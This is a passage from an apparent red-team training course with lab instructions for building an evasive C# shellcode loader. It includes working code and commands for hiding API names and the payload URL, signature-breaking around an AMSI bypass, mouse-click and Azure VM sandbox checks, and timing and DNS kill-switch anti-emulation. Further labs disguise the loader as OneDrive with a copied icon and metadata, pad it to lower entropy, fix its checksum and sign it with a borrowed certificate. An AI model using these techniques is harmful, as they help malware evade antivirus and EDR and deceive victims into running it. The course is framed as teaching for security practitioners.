  • The 2nd detection is actually our XOR Decoder function, why it wasn't detected in the previous labs is a mystery so far, but it could be that the combination of the XOR decoder and the presence of AmsiScanBuffer raised more flags. But no worries we can easily fix that by adding a dummy function in our XOR decoder class.

image

GC.KeepAlive(null): This is a built-in .NET method in the System namespace that does nothing in this context since passing null has no effect on the program’s execution or state. It’s a safe, existing function that serves as a no-op.

NOTE: You can find a compiled version of the D/Invoke loader with the AmsiScanBuffer string obfuscated in the C:\THEV\Labs\Lab_DInvokeLoader\DInvokeLoaderNotDetected.exe directory.

If we now run GoCheck64.exe again on DInvokeLoaderNotDetected.exe, we can see that there are no more detections:

Current CAPA analysis of our DInvokeLoader loader: image

You can clearly see that there are no more imports related to memory manipulation (VirtualAlloc) or (CreateThread) , which is a good sign and the AMSI bypass is no longer detected as well.

Previous CAPA analysis of our AMSIETWLoader: image

  • Run floss/strings against our new D/Invoke loader and see what strings are still present:
cd C:\THEV\Labs\Lab_DInvokeLoader
strings64.exe C:\THEV\Labs\Lab_DInvokeLoader\DInvokeLoaderNotDetected.exe | FINDSTR /C:createthread /C:virtualalloc /C:writeprocessmemory /C:"shell*" /I /R

image

So we still see the strings of VirtualAlloc, WriteProcessMemory, CreateThread, etc. which are all related to process injection and memory manipulation. Even though we are not using P/Invoke anymore, the presence of these strings can still raise suspicion. We can obfuscate these strings by splitting them into smaller parts and concatenating them at runtime, or by using some form of encoding (like Base64) to hide their true nature. Or even better we can use our XOR key to XOR encode these strings and decode them at runtime.

  • Open the DInvokeLoaderNotDetected.exe in PE Studio and check the strings section:

image

  • Go to the Strings section and sort on flag:

image

Finally let's use Litterbox to see if there are any other static detections

  • Open a command prompt as Administrator and run Litterbox (if not already running from previous labs):
cd C:\THEV\Litterbox
python litterbox.py

This will start the litterbox server on port 1337.

  • Now open your Chrome browser and go to http://localhost:1337 go to Analyze Payload, upload the DInvokeLoaderNotDetected.exe file and select Static Analysis:

image

We still see 1 suspicious Yara detection related to "AmsiBypass" - we need to fix that as it's a pretty obvious indicator.

image

Let's check Kleenscan as well:

image https://kleenscan.com/scan_result/e4b29ceb0ce528ab8732ef11141c9a683ee8f7c7c341c7799b3824e2d670d07a

Pretty good - 0 DETECTIONS - but let's be thorough and implement some additional obfuscation techniques to further reduce the chances of detection by security tools.


Additional Obfuscation Techniques

NOTE: You can find a compiled version of the modified D/Invoke loader we'll discuss below in the C:\THEV\Labs\Lab_DInvokeLoader\DInvokeLoaderFinal.exe directory - the source code of the final version is also available in the C:\THEV\Labs\Lab_DInvokeLoader\SOLUTION\DInvokeLoader(FINAL) directory in case you get stuck.

Let's implement some additional obfuscation techniques to further reduce the chances of detection by security tools. We'll focus on three main areas:

1. Getting rid of the delegate function strings

Here's where those strings we saw above are located in our code (Win32Delegates.cs):

image

To obfuscate these strings, we can XOR encode them using our existing XOR Decoder function and then decode them at runtime. This way, the actual function names won't be present in the binary, making it harder for static analysis tools to detect them.

First we need to XOR encode the function names using our XOR Decoder with a specific key. For example, let's say we use the key "supersecretkey" (which is what's in our DNS text record) to encode the function names. We wrote a small csharp program (XORFunctionHasher.exe)to do this for us. We simply feed it the function names and the key, and it outputs the XOR encoded byte arrays.

image

We have modified the Win32Delegates.cs file to XOR decode the function names at runtime using our XOR Decoder. We're using a different DNS Text record key as well (Key2.crimsoncore.be) which resolves to supersecretkey for this obfuscation.

image

We have applied this obfuscation to all the function names in Win32Delegates.cs. Now, when we build the project, the actual function names won't be present in the binary, making it harder for static analysis tools to detect them.

2. Getting rid of RWX memory permissions (Dynamic Analysis Evasion)

OPSEC TIP: DON'T use RWX permissions, split them up in RW and RX, the RW-to-RX approach enhances security by ensuring the memory is only executable when necessary. But there's another way, which we'll explain below.

WHY? Assigning RWX to a dynamically allocated memory basically scream "HEY I'M DOING SOMETHING REALLY WEIRD!" - EDR's will typically flag this and once a thread is created to the address of this memory space (= start the code in the memory region), they'll initiate a memory scan on the contents of that memory region - or simply just kill the process immediately. Also forensic analysts will flag this immediately and quite a lot om memory analysis tools (i.e. volatility) likewise will flag on this.

In our previous loaders, we have been allocating memory with PAGE_EXECUTE_READWRITE permissions, which is a common red flag for security tools. To improve stealthiness, we can change this to allocate memory with PAGE_READWRITE permissions initially, write the shellcode, and then change the permissions to PAGE_EXECUTE_READ using VirtualProtect. This way, we avoid having RWX memory at any point in time.

However, we did something else - we set the memory to PAGE_EXECUTE_READ (0x20), so there is no writable permission at all how can this work?

image

When we check System Informer again after making this change, we can see that there are no more RWX memory regions, which is a good sign.

image

But what's going on under the hood? Let's use API Monitor to see the actual calls to VirtualAlloc and VirtualProtect:

image

Our C# code doesn't explicitly set RWX permissions — kernel32.dll's WriteProcessMemory does it automatically for you when writing to the current process's non-writable memory (like our PAGE_EXECUTE_READ region).

This is a built-in optimization in Windows: when you call WriteProcessMemory with GetCurrentProcess() as the target handle (same-process write), and the destination isn't writable, it temporarily adjusts the page protections, performs the write, and restores them. This succeeds even on PAGE_EXECUTE_READ memory without us calling VirtualProtect or NtProtectVirtualMemory ourselves.

NOTE: When using self-modifying (polimorphic/metamorphic) code, you will need to ensure that the memory region is RWX otherwise when the shellcode tries to execute, it will throw an access violation.

3. More string obfuscation

Let's address the remaining suspicious strings in our code that could potentially trigger detections by security tools. The main strings we need to obfuscate are:

StringLocationValueBase64 Encoded
payloadURLDInvokeLoader.cshttps://kali:9090/payload.b64aHR0cHM6Ly9rYWxpOjkwOTAvcGF5bG9hZC5iNjQ=
AmsiBypassAMSIBypass.cs, DInvokeLoader.csAmsiBypassA_msiBypass
amsi.dllAMSIBypass.csamsi.dll"ams" + "i.dll"

3.1 Payload URL obfuscation

Let's get rid of the clearly suspicious payloadURL string in our code by Base64 encoding it. We can use the following PowerShell command to encode the URL.

  • Open PowerShell and run the following command:
$bytes = [System.Text.Encoding]::UTF8.GetBytes("https://kali:9090/payload.b64")
[System.Convert]::ToBase64String($bytes)

The result is: aHR0cHM6Ly9rYWxpOjkwOTAvcGF5bG9hZC5iNjQ=.

We now simply replace the string in our code with the Base64 encoded version and decode it at runtime:

image

3.2 AmsiBypass function renaming and Amsi.dll string concatenation

We also need to fix that AmsiBypass function name in AMSIBypass.cs and DInvokeLoader.cs as well, we'll simply add an underscore in the middle of the string to break the signature - and change the code to call A_msiBypass instead of AmsiBypass.

In DInvokeLoader.cs we change the function call accordingly:

image

In AmsiBypass.cs we also need to change the function name accordingly while we're at it let's also obfuscate the amsi.dll string by splitting it into two parts and concatenating them at runtime (remember we did this in the powershell labs as well with Invoke-Obfuscation).

image

Let's analyze this in Litterbox again, uploading the DInvokeLoaderFinal.exe file and selecting Static Analysis:

image

NOTE: We are still using the words shellCode, Payload, etc. in our code, which can still be a red flag for some security tools. In a real-world scenario, we would want to use more generic terms, like dataBuffer, executeBuffer, etc., to further reduce the chances of detection.

Conclusion

In this lab we have used D/Invoke to dynamically resolve and call Windows API functions at runtime (removing them from the IAT), avoiding static imports and improving the stealthiness of our loader. We also implemented several obfuscation techniques to hide suspicious strings (payloadURL) and avoid RWX memory permissions, further reducing the chances of detection by security tools.

NOTE: You might ask "but these are static scans, what about dynamic analysis?". Good question! Dynamic analysis is indeed another layer of defense that security tools use to detect malicious behavior. However, by using D/Invoke and obfuscation techniques, we are making it harder for dynamic analysis tools to identify our loader's behavior as malicious. The goal is to reduce the likelihood of detection by both static and dynamic analysis methods, thereby increasing the chances of successful execution in a target environment. Static indicators often lead to dynamic detections, so by minimizing static footprints, we also reduce dynamic detection risks (i.e. Memory scanning).

We'll now proceed to the next lab where we'll deal with sandbox evasion techniques. These techniques will help us avoid execution in automated analysis environments, further enhancing the stealthiness of our loader.

Lab - SandLoader (Sandbox Evasion Module)

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

In this lab we'll be add 2 additional features to our previous DInvokeLoader:

  1. We'll add a mouse-click sandbox evasion module, to evade basic sandbox solutions that don't simulate user activity.
  2. And we'll also add Azure VM detection (this can easily be modified to check for VMWare, VirtualBox, QEMU, etc). As we are running in Azure VMs for our labs, we won't exit the program if we detect Azure, but in a real-world scenario you might want to exit or change behavior.

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\SandLoader\SandLoader.sln"
                        ├── SandLoader.cs   -> Our main program
                        ├── ShellcodeDecoder.cs
                        ├── StagedLoader.cs
                        ├── RetrieveXORkey.cs
                        ├── AMSIBypass.cs
                        ├── ETWPatch.cs
                        ├── Win32Imports.cs
                        ├── Win32Delegates.cs
                        ├── DelegateHelper.cs
                        ├── AzureDetect.cs   -> class to check if machine is an Azure VM
                        └── Clicks.cs   -> class to check for mouse clicks

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_SandLoader"

LAB SOLUTION: "C:\THEV\Labs\Lab_SandLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

LAB EXERCISE TASKS

StepActionDescription
1.Turn Defender ONWe want to see if our POC code gets detected
2.ClicksImplement a class that checks for mouse clicks to simulate user activity.
3.AzureVMImplement a class that checks if machine is an Azure VM.

1. Turn Defender ON

IMPORTANT : Make sure Windows Defender is turned ON!!!

Check if Defender is turned ON by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned OFF - run the following script to turn it ON:
c:\thev\labs\powershell\av_enable.ps1

image


IMPORTANT: When adding sandbox evasion modules, make sure they do their checks first before execution any other code!

2. Clicks Sandbox Evasion Module

Step 1 : Use DINVOKE for GetAsyncKeyState

If we'd use P/Invoke to call GetAsyncKeyState, it would be easily detected by EDR solutions. Instead, we'll use DInvoke to call this function dynamically at runtime. As shown below, we need to add the GetAsyncKeyState function to our Win32Delegates.cs file.

https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate

image

  • In Visual Studio 2019, open the Win32Delegates.cs file and add the add the below code just below the DRPMemoryDelegate delegate definition.
[System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
public delegate short DGAKStateDelegate(
    int vKey);

image

  • Then add the following line still inside the Win32Delegates class, just below the other Resolved delegate instances:
    public static readonly DGAKStateDelegate DGAKState; // GetAsyncKeyState

image

  • And completely at the bottom of the Win32Delegates.cs file, add the following line to initialize the delegate using DInvoke:
DGAKState = DelegateHelper.GetFunctionDelegate<DGAKStateDelegate>("user32.dll", "GetAsyncKeyState"); // GetAsyncKeyState

image


OPTIONAL: Obfuscate GetAsyncKeyState string (Skip if you don't have enought time)

We're not hiding the string GetAsyncKeyState here, but you can use the same string obfuscation method as used in the RetrieveXORkey.cs file to hide this string if you want to, just like in the DINVOKELoader lab. The steps are the same, use the XORFunctionHasher.exe on the string GetAsyncKeyState (case sensitive!), add the array at the bottom of the other function array, and change "GetAsyncKeyState" to gakstate_string.

Obfuscated array (1):

byte[] enc_gakstate_array = new byte[] { 0x34, 0x10, 0x04, 0x24, 0x01, 0x0a, 0x0b, 0x00, 0x39, 0x00, 0x0d, 0x38, 0x11, 0x18, 0x07, 0x10 }; // GetAsyncKeyState
        byte[] dec_gakstate_array = ShellcodeDecoder.Decode(enc_gakstate_array, xorkey);
        string gakstate_string = Encoding.ASCII.GetString(dec_gakstate_array);
        Console.WriteLine($"[+]    Decrypted String: {gakstate_string}");

Modified line to get delegate (2):

DGAKState = DelegateHelper.GetFunctionDelegate<DGAKStateDelegate>("user32.dll", gakstate_string); // GetAsyncKeyState

The code should now look like this:

image


Step 2: Add Clicks class

NOTE: We can implement a simple mouse-click detection mechanism using the GetAsyncKeyState function from user32.dll. This function allows us to check the state of the mouse buttons, enabling us to detect user activity through mouse clicks. By monitoring for a certain number of clicks, we can determine if the program is running in an interactive environment, which is less likely to be a sandbox. Obviously on a server this will not work, but many sandboxes don't simulate user activity at all (especially automated analysis sandboxes).

  • In visual studio, create a new class file called Clicks.cs by going to the Solution Explorer, right-click on SandLoader -> Add -> Add new class, select C# Class at the top and name the file Clicks.cs.

image

image

  • Delete the dummy code provided by Visual Studio and paste the following code:
using System;
using System.Threading;

public static class Clicks
{
    public static void WaitForClicks(int minClicks = 5)
    {
        Console.WriteLine($"[-] Waiting for 5 clicks... (Left or Right mouse button)");
        int count = 0;
        while (count < minClicks)
        {
            short leftState = (short)Win32Delegates.DGAKState(1);
            short rightState = (short)Win32Delegates.DGAKState(2);

            if ((leftState & 0x0001) != 0)
            {
                count++;
                Sandloader.Payload.WriteColored(($"     [+] Left click detected! (Total: {count}/{minClicks})"), ConsoleColor.Green);
            }

            if ((rightState & 0x0001) != 0)
            {
                count++;
                Sandloader.Payload.WriteColored(($"     [+] Right click detected! (Total: {count}/{minClicks})"), ConsoleColor.Green);
            }
            //Thread.Sleep(100);
        }
        Sandloader.Payload.WriteColored(($"     [+] {minClicks} Clicks detected, continuing..."), ConsoleColor.Green);
    }
}
  • This code uses the GetAsyncKeyState function from user32.dll to check the state of the left and right mouse buttons. It waits until a specified number of clicks (we are using 5) are detected before proceeding.
  • You can adjust the minClicks parameter in the WaitForClicks method to change how many clicks are required before the program continues.

Step 3: Modify main program (SandLoader.cs) to call functions

  • In the SandLoader.cs file, add a call to this new method at the beginning of the Main method, we don't want anything to happen until we have some user activity. Remove the top 2 lines that have the WriteColored and Console.ReadKey() and replace them with the call to the Clicks module:

image

  • Next, still in the SandLoader.cs file, past the following code at the top of the Main method:
            // Sandbox evasion wait for 5 Clicks

            Clicks.WaitForClicks();

image

Step 4: Compile and run the code

Compile and run the code, click the mouse 5 times (left or right button) to continue execution - don't click in the cmd window, click somewhere else on the desktop or in another window.

The compiled binary (sandloader.exe) will be located in the C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release folder.

  • Open a command prompt and run SandLoader.exe:
C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release\SandLoader.exe

image

  • Check SandLoader.exe in PEstudio and CAPA as we did before, you can also run GoCheck again to see if there are any detections.

PEStudio analysis

You will see no imports for GetAsyncKeyState as we are using DInvoke to resolve this at runtime.

image

Strings analysis

If you did the optional string obfuscation step, you should see that the GetAsyncKeyState string is nowhewere to be found in the binary (you can also check in PEStudio under Strings).

  • Open a cmd prompt and run the following command to check for the presence of the GetAsyncKeyState string in the compiled binary:
strings64.exe C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release\sandloader.exe | FINDSTR /c:GetAsyncKeyState /I /R

image

Any.Run sandbox test

https://app.any.run/tasks/9c919e78-6ed2-4efe-839e-2698c802a92c

image

You can view the full report here : https://any.run/report/27b9b11aea884af46fc901df36dcaf3d48377b805a4f49d1b4ffbfb55f1a2e55/9c919e78-6ed2-4efe-839e-2698c802a92c

image


3. Azure Detection Module

We can check if we are running in an Azure VM by checking for the presence of the Azure Windows VM Agent registry key. If this key exists, it indicates that the machine is running in an Azure environment. This is just for demonstration purposes, in a real-world scenario you might want to check for other virtualization platforms as well (VMWare, VirtualBox, QEMU, etc). Since we are running in Azure VMs for our labs, it demonstrates the technique nicely.

image

When we detect an Azure VM environment, we can choose to either exit the program or alter its behavior to avoid detection.

Step 1: Add AzureDetect class

  • In visual studio, create a new class file called AzureDetect.cs by going to the Solution Explorer, right-click on SandLoader -> Add -> Add new class, select C# Class at the top and name the file AzureDetect.cs.

image

image

  • Delete the dummy code provided by Visual Studio and paste the following code:
using Microsoft.Win32;
using System;

public class AzureDetector
{
    /// Checks the Azure Windows VM Agent registry key to detect Azure VM environment
    public static void IsRunningInAzure()
    {
        Console.Write("[-] Checking if machine is running in Azure...\r\n");
        // Check for Azure Windows VM Agent
        using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows Azure"))
        {
            if (key != null)
            {
                Sandloader.Payload.WriteColored($"[+]    Azure VM environment detected.", ConsoleColor.DarkYellow);
                Sandloader.Payload.WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
                Console.ReadKey();
                Environment.Exit(0);
            }
            else
            {
                Sandloader.Payload.WriteColored($"[+]    Azure VM environment not detected.", ConsoleColor.DarkYellow);
            }
        }
        Sandloader.Payload.WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
        Console.ReadKey();
    }
}

NOTE: The above code is a good example of using standard C# using .NET Framework/Core libraries, there is no need to use DInvoke here as we are not calling any native Windows API functions directly. The Microsoft.Win32 namespace provides access to the Windows registry, allowing us to check for the presence of specific registry keys.

Step 2: Modify main program (SandLoader.cs) to call functions

  • In the SandLoader.cs file, add a call to this new method right under the Clicks call in the Main method (above the AMSI and ETW bypass calls):
           // Azure detector

            AzureDetector.IsRunningInAzure();

Your code should now look like this:

image

Step 3: Compile and run the code

Compile and run the code, click the mouse 5 times (left or right button) to continue execution - don't click in the cmd window, click somewhere else on the desktop or in another window. After 5 clicks, you should see that the Azure VM environment is detected and the program exits.

The compiled binary (sandloader.exe) will be located in the C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release folder.

  • Open a command prompt and run SandLoader.exe:
C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release\SandLoader.exe

image

Step 4 : Using Process Monitor to verify registry access

Below you can see Process Monitor (Sysinternals Suite) showing the RegOpenKey operation for the Azure registry key.

Below is the result when running in an Azure VM, it shows the standar dll's being loaded.

image

And then the registry key is accessed, and the process exits as we detected Azure.

image

Step 5 : Run forensics analysis

  • Check SandLoader.exe in PEstudio and CAPA as we did before, you can also run GoCheck again to see if there are any detections.

CAPA analysis

Capa shows the registry access to check for Azure VM environment, but this is fine as this is a legitimate check. Also don't remember that manual forensics analysis is always capabable of finding things that automated tools might miss.

image

BE CREATIVE!

Sandbox evasion is a cat-and-mouse game, and there are many more techniques you can implement to evade detection. Here are some ideas to get you started:

  • Timing Checks: Implement timing checks to detect if the program is running slower than expected, which can indicate a sandbox environment.
  • Process and Service Checks: Check for the presence of known sandbox or analysis tools running as processes or services.
  • File System Checks: Look for specific files or directories that are commonly found in sandbox environments.
  • Network Activity: Monitor network activity to detect if the program is being analyzed in a controlled environment.
  • Hardware Checks: Check for hardware characteristics that are typical of virtual machines, such as limited RAM or CPU cores.
  • CPU Cores Check: Check the number of CPU cores available, as sandboxes often allocate fewer cores.

Just keep in mind that known sandbox evasion techniques are often documented and can be detected by advanced security solutions. The key is to be creative and think outside the box! A sandbox can fake responses (function calls, registry keys, etc), so the more unique and less documented your evasion techniques are, the better.

Conclusion

In this lab, we have successfully implemented a sandbox evasion loader in C#. We covered various techniques to evade detection, including:

  1. Click-based Evasion: We added a module to detect mouse clicks and use them as a form of user interaction to evade automated analysis.
  2. Azure VM Detection: We implemented a check to determine if the code is running in an Azure VM environment, allowing us to modify behavior accordingly.

NOTE: An additional bonus of using DINVOKE with a remotely hosted XOR key is that a sandbox that is not connected to the internet will fail to retrieve the key, causing the loader to fail (as the function names will not be decrypted properly). This adds another layer of evasion against offline sandboxes. If a dummy key is used, the XOR decryption will fail, resulting in invalid function names that won't resolve.

This was our last lab in the Shellcode & Loaders section. In the next section, we'll explore some tricks adversaries can use to make their payloads blend in even more with normal system activity, making detection even harder.

Anti-Emulation Techniques

TL;DR: This chapter explains how to evade emulation-based detection engines used by modern AV/EDR solutions. We'll explore the limitations of emulation environments and implement techniques to detect when our code is running inside an emulator, allowing us to avoid execution in these controlled environments.

1. UNDERSTANDING EMULATION ENVIRONMENTS

Emulation is a lightweight sandbox technology used by security products to dynamically analyze suspicious files without fully executing them on the real system. Unlike full sandboxes that run complete virtual machines, emulators simulate CPU instructions and basic operating system functionality.

1.1 Key Characteristics of Emulation Environments

Emulation environments have several inherent limitations that can be exploited for detection:

  • No Real Operating System: Emulators simulate OS functionality but don't run a complete Windows kernel
  • Limited API Support: Only a subset of Windows APIs are implemented - typically the most commonly used functions
  • Poor Error Handling: Emulators often return success for all function calls, even those that should fail or don't exist
  • Memory Constraints: Limited memory allocation compared to real systems
  • Time Constraints: Emulation typically runs for only a few seconds before making a verdict
  • No User Interaction: Cannot simulate real user behavior, mouse movements, or keyboard input
  • Limited Network Stack: Basic network simulation without real DNS resolution or internet connectivity

1.2 Common Emulation Solutions

Several emulation and network simulation tools are commonly used in malware analysis:

  • Microsoft Defender Emulation Engine: Built into Windows Defender for dynamic unpacking and behavior analysis
  • FLARE FakeNet-NG: Network simulation tool by Mandiant for intercepting and simulating network traffic
  • INetSim: Internet Services Simulation Suite for analyzing network behavior

You can inspect the source code of these tools to identify which functions are supported and which are not, revealing potential detection opportunities.

2. ANTI-EMULATION TECHNIQUES

To evade emulation-based detection, we can implement various checks that exploit the limitations of emulated environments. These techniques allow our malware to detect when it's running inside an emulator and refuse to execute its malicious payload.

2.1 DNS-Based Environment Validation (Dead Man's Switch)

One of the most effective anti-emulation techniques is using a DNS TXT record check as a "Dead Man's Switch":

  • Technique: Query a specific DNS TXT record that should return a valid response on real internet-connected systems
  • Detection Logic: Emulators typically cannot resolve real DNS queries or return generic/fake responses
  • Implementation: Only proceed with payload execution if the DNS query returns the expected value
  • Benefits:
    • Requires real network connectivity
    • Difficult for emulators to simulate accurately
    • Can be used as a kill switch for deployed payloads

Example: Query key.yourdomain.com expecting a specific TXT record value like "supersecretkey". If the query fails or returns an unexpected value, assume emulation and exit gracefully.

2.2 Time-Based Checks

Emulators are optimized for speed and typically don't accurately simulate time-based functions:

Stopwatch Method

  • Technique: Use System.Diagnostics.Stopwatch to measure elapsed time during operations
  • Detection Logic: Perform a time-consuming operation (e.g., sleep for 5 seconds) and verify actual elapsed time
  • Emulator Behavior: Often skips or accelerates sleep operations to speed up analysis

GetTickCount Method

  • Technique: Use GetTickCount or GetTickCount64 Win32 APIs to measure system uptime
  • Detection Logic: Check for anomalous time behavior or unrealistic uptime values
  • Emulator Behavior: May return inconsistent or accelerated tick counts

Example Check:

var sw = Stopwatch.StartNew();
Thread.Sleep(5000); // Sleep for 5 seconds
sw.Stop();
if (sw.ElapsedMilliseconds < 4500) {
    // Likely in emulator - sleep was skipped or accelerated
    Environment.Exit(0);
}

2.3 System Resource Checks

Real systems have certain characteristics that emulators struggle to replicate:

  • Memory Availability: Check for realistic amounts of RAM (e.g., > 2GB)
  • Processor Count: Verify CPU core count matches realistic hardware
  • Disk Space: Check for sufficient disk space (emulators often have minimal storage)
  • Temperature Sensors: Query hardware sensors that don't exist in emulated environments

2.4 User Interaction Validation

Emulators cannot simulate genuine user behavior:

  • Mouse Movement: Track mouse position changes over time
  • Recent Documents: Check for realistic user activity in recent files
  • Process Count: Verify a normal number of running processes (not just analysis tools)
  • Idle Time: Check system idle time to detect automated analysis

2.5 API Behavior Validation

Exploit the poor error handling in emulators:

  • Call Non-Existent Functions: Try calling functions that should fail but emulators return success
  • Invalid Parameters: Pass intentionally invalid parameters and check for proper error codes
  • Uncommon APIs: Use rarely-called Windows APIs that may not be implemented in emulators

3. BEST PRACTICES

When implementing anti-emulation techniques:

  • Combine Multiple Checks: Don't rely on a single detection method - layer multiple techniques
  • Be Subtle: Avoid obvious emulation checks that can be easily patched or bypassed
  • Fail Safely: Exit gracefully without raising suspicion when emulation is detected
  • Use Legitimate APIs: Prefer standard Windows APIs over suspicious or rare functions
  • Consider Performance: Balance detection effectiveness against execution time

4. ADDITIONAL RESOURCES

OPSEC NOTE: Modern EDR solutions are becoming increasingly sophisticated at detecting anti-emulation techniques. Always test your implementations against real-world security products and consider that excessive environmental checks may themselves trigger behavioral detections.

Lab - Final Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

In this final lab we'll show a few more techniques to help evade AV/EDR solutions when building .net loaders. Although our previous loaders worked well, there are still some areas for improvement, we obviously don't want the victim to see a console window pop up when executing our loader, and we also want to reduce the entropy of our binary to avoid AV/EDR detection when touching the disk. We'll make our loader look like a legitimate "OneDrive" binary by changing the icon and metadata, and finally we'll code-sign our binary to further improve its legitimacy.

When we have a look at our current loader, we can see that it has a high entropy of ~7.5, it has an invalid PE checksum, and it is not code-signed.

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\FinalLoader\FinalLoader.sln"
                        ├── FinalLoader.cs   ->   Our main program
                        ├── ShellcodeDecoder.cs
                        ├── StagedLoader.cs
                        ├── RetrieveXORkey.cs
                        ├── AMSIBypass.cs
                        ├── ETWPatch.cs
                        ├── Win32Imports.cs
                        ├── Win32Delegates.cs
                        ├── DelegateHelper.cs
                        ├── Words.cs -> massive wordlist to reduce entropy
                        ├── AzureVM.cs  
                        └── Clicks.cs   

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_FinalLoader"
                        ├── FinalLoader.exe   ->   Our final loader binary
                        └── XOR_enc_str_file.exe

LAB SOLUTION: "C:\THEV\Labs\Lab_FinalLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

LAB EXERCISE STEPS

StepActionDescription
1.Hide the ConsoleRemove all console write lines and hide the console window
2.Look like a legit "Onedrive"Add onedrive icon and metadata
3.ENTROPYReduce Entropy by adding a massive wordlist
4.PeChecksum & RCEditFix PE Checksum and Original Filename
5.CodesignCode signing the binary

Step 1 : Hide the console window

To hide the console window, we can have added the following code snippet at the start of our Main() function in FinalLoader.cs:

image

We have also removed all Console.WriteLine() statements from the code to avoid any console output, and remove those strings from the binary.

NOTE: We add some P/INVOKE imports to hide the console window, these can of course also be converted to (D/INVOKE) delegates like in our previous loaders.

Step 2 : Look like a legit "Onedrive"

We exctracted the icon from our local OneDrive installation, and changed our project properties to use this icon for our final loader binary.

image

We also changed the Assembly Information to match OneDrive metadata:

image

This is the result:

image

image

You can see that the Original filename is still FinalLoader.exe, we will fix this with RCEdit later on.

Step 3 : Reduce Entropy

DEFINITION: Entropy indicates the randomness within a data set. Higher entropy inidcates higher randomness. Files with high entropy (>7.5) are typically blocked by AV/EDR when touching the disk.

Let's check the entropy of our SandLoader. We can use sigcheck from the systeminternals suite, or Litterbox to check our old sandloader.exe binary:

LITTERBOX OUTPUT: image

image

SIGCHECK OUTPUT:

The Entropy is ~7.81 which is quite high, we can reduce this by adding a massive wordlist to our project, this will add more "normal" data to the binary and reduce the overall entropy. We also see there's a checksum issue which we will fix later on.

When running Sigcheck, we can see that the metadata now looks like this (still unsigned though):

image

In our source code we simply added a new class Words.cs which contains a massive wordlist as a string array:

image

We're not doing anything with this wordlist, it's just there to reduce the entropy of our binary. When we check our final binary with sigcheck again, we can see that the entropy has dropped to 6.94 which is much better:

SIGCHECK OUTPUT: image

Our final source code looks like this now - as you can see this is just a few lines of code added to our previous loader to hide the console, and add the wordlist to reduce entropy:

image

Step 4 : Change the Original Filename and fix the PE Checksum

Original Filename

We have renamed our FinalLoader.exe to OneDrive.exe, but the original filemame in the metadata is still FinalLoader.exe. We can change this with RCEdit, which is a simple command-line tool to modify PE file resources.

rcedit-x64.exe OneDrive.exe --set-version-string OriginalFilename OneDrive.exe

The result is shown below:

image

What is the PE Checksum?

When the portable executable format was developed, network connections were much less reliable than they are today. It was not uncommon for the integrity of a connection to be compromised and the data being transferred to become corrupted. Additionally, it was difficult for a client to detect whether or not a file was corrupted in transit. This was a significant problem, especially if you were downloading operating system files such as executables and drivers. A one-byte error in a driver could cause an unrecoverable system crash.

As a result, checksums were implemented in the portable executable format with the express intent of being able to detect data corruption and reduce the probability of corrupted code being executed.

https://practicalsecurityanalytics.com/pe-checksum/#What_is_the_PE_Checksum

There is a strong correlation between invalid PE Checksums and malware. The graph below illustrates the disparity between malicious and legitimate executables with respect to valid and invalid checksums.

image Figure 1: PE Checksum Statistics

The graph shows two datasets: good and bad executables. The x-axis shows the two possible results (valid or invalid) of the PE checksum validation, and the y-axis shows the percent of each dataset.

They key take aways from this graph are:

  • 83% of malware had invalid checksums
  • 90% of legitimate files had valid checksums.

As it turns out, the PE header checksum is the single greatest stand-alone indicator of malware we will discuss in this series, even more so than digital signatures (we’ll talk about why that is in the post about digital signatures).

There are several reasons that the checksum will be invalid: (1) some compilers used by malware authors don’t support generating the checksum and (2) some authors will modify the executable post compilation which invalidates the checksum. Generally speaking, most malware authors do not go back and update the checksum after the modifications. There is also a lot of incentive for malware authors to modify executables in order to evade detection by AV. Packing, encryption, encoding, and compression can all be used to obfuscate the signaturizable parts of the malware. Many of these tools are designed to work on executables post-compilation so that the malware itself does not need to be rebuilt, and many of these tools do not update the checksum after modifying the executable.

NOTE: When compiling .net code, the checksum is not generated by Visual Studio 2019 - this is normal behaviour for .net.

Leyt's fix the PE Checksum with PEChksum.exe :

image

And the results from Litterbox:

image

image

Step 5: Code-signing

Our last step is stealing a code-signing certificate from our local OneDrive installation, and use this to sign our binary. This will further improve the legitimacy of our binary and help evade AV/EDR solutions.

signaturekid.exe C:\Users\Threatadmin\AppData\Local\Microsoft\OneDrive\onedrive.exe OneDrive.exe

image

The result is shown below:

image

And that concludes our final lab! We have built a .net loader that evades AV/EDR solutions by implementing various sandbox evasion techniques, reducing entropy, fixing the PE checksum, and code-signing the binary to look like a legitimate OneDrive executable.

CONCLUSION

TL;DR: This training taught you the adversarial mindset behind building evasive shellcode loaders that bypass common detection mechanisms. You now understand how attackers think, how AV/EDR products work, and the techniques used to evade them. The loader we built is educational—real-world implementations require far more sophistication. Remember: every security product has unique detection mechanisms, and what bypasses one may not work against another.


SURVEY:

image

We would like it very much if you could take 5 minutes to fill out the following survey to help us improve future trainings: Training Feedback Survey, we would be eternally grateful!


Downloading the course material:

You can download all the labs, tools and course material from the links below - please note this material is copyright, so do not distribute and do not upload any code or compiled binaries to online virus scanning services or sandboxes,


1. TRAINING OBJECTIVES & SCOPE

What We Covered

